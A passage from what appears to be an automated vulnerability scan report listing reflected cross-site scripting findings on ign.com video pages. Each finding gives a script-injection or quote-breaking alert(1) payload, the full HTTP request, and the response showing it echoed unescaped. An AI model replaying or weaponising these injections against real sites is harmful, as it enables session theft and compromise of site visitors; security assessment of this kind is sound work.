Path:	/videos/2011/02/03/killzone-3-video-review

Issue detail

The value of the objectid request parameter is copied into the HTML document as plain text between tags. The payload 305e2<script>alert(1)</script>2ed845c58b was submitted in the objectid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/02/03/killzone-3-video-review?objectid=14324403305e2<script>alert(1)</script>2ed845c58b HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=5bc7797e73f31622c2f7b202b7a847ec; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86306

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/02/03/killzone-3-video-review?objectid=14324403305e2<script>alert(1)</script>2ed845c58b</div>
...[SNIP]...

3.656. http://www.ign.com/videos/2011/02/04/confession-series-trailer [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/confession-series-trailer

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ebfc'-alert(1)-'58c412cf61c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/confession-series-trailer2ebfc'-alert(1)-'58c412cf61c HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=6353c0130b0bae878a2bd8f31105694d; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44524

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
fter(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/confession-series-trailer2ebfc'-alert(1)-'58c412cf61c';
   }
   </script>
...[SNIP]...

3.657. http://www.ign.com/videos/2011/02/04/confession-series-trailer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/confession-series-trailer

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5b72'-alert(1)-'9139d002733 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/confession-series-trailer?b5b72'-alert(1)-'9139d002733=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:09:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=0db07c92ca66f14502fc870fcbf384df; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 79043

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
ter(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/confession-series-trailer?b5b72'-alert(1)-'9139d002733=1';
   }
   </script>
...[SNIP]...

3.658. http://www.ign.com/videos/2011/02/04/confession-series-trailer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/confession-series-trailer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload e205f<script>alert(1)</script>8cfce613b66 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/02/04/confession-series-trailer?e205f<script>alert(1)</script>8cfce613b66=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:09:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=114962795e4687ff7ecae8472a68e247; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 79088

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/02/04/confession-series-trailer?e205f<script>alert(1)</script>8cfce613b66=1</div>
...[SNIP]...

3.659. http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-daily-fix-020411

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 86111'-alert(1)-'367e30dece9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/201186111'-alert(1)-'367e30dece9/02/04/ign-daily-fix-020411 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=25259fb8d81203f4211d985a22cb7929; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
("#nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/201186111'-alert(1)-'367e30dece9/02/04/ign-daily-fix-020411';
   }
   </script>
...[SNIP]...

3.660. http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-daily-fix-020411

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec437'-alert(1)-'6a2c571963f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02ec437'-alert(1)-'6a2c571963f/04/ign-daily-fix-020411 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=fb1913e6902c43de2ad3ba7644cfa639; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02ec437'-alert(1)-'6a2c571963f/04/ign-daily-fix-020411';
   }
   </script>
...[SNIP]...

3.661. http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-daily-fix-020411

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5216'-alert(1)-'104ba3b64b4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04a5216'-alert(1)-'104ba3b64b4/ign-daily-fix-020411 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=d73d2cceb669b73cc01a9b64589f65b7; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04a5216'-alert(1)-'104ba3b64b4/ign-daily-fix-020411';
   }
   </script>
...[SNIP]...

3.662. http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-daily-fix-020411

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a16df'-alert(1)-'89c445ef580 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/ign-daily-fix-020411a16df'-alert(1)-'89c445ef580 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=f2a4f8710f5ac0604d4c11d33e185043; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103f45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
e").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411a16df'-alert(1)-'89c445ef580';
   }
   </script>
...[SNIP]...

3.663. http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-daily-fix-020411

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 21a45'-alert(1)-'3fc45c6c861 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/04/ign-daily-fix-020411?21a45'-alert(1)-'3fc45c6c861=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=3519b8fb5587931d2cc5cdf3091082b9; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103f45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83555

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411?21a45'-alert(1)-'3fc45c6c861=1';
   }
   </script>
...[SNIP]...

3.664. http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/04/ign-daily-fix-020411

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 90ec8<script>alert(1)</script>744ad6886ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/02/04/ign-daily-fix-020411?90ec8<script>alert(1)</script>744ad6886ec=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=b35c90be323f2ffcb1c58023f669f942; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83588

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
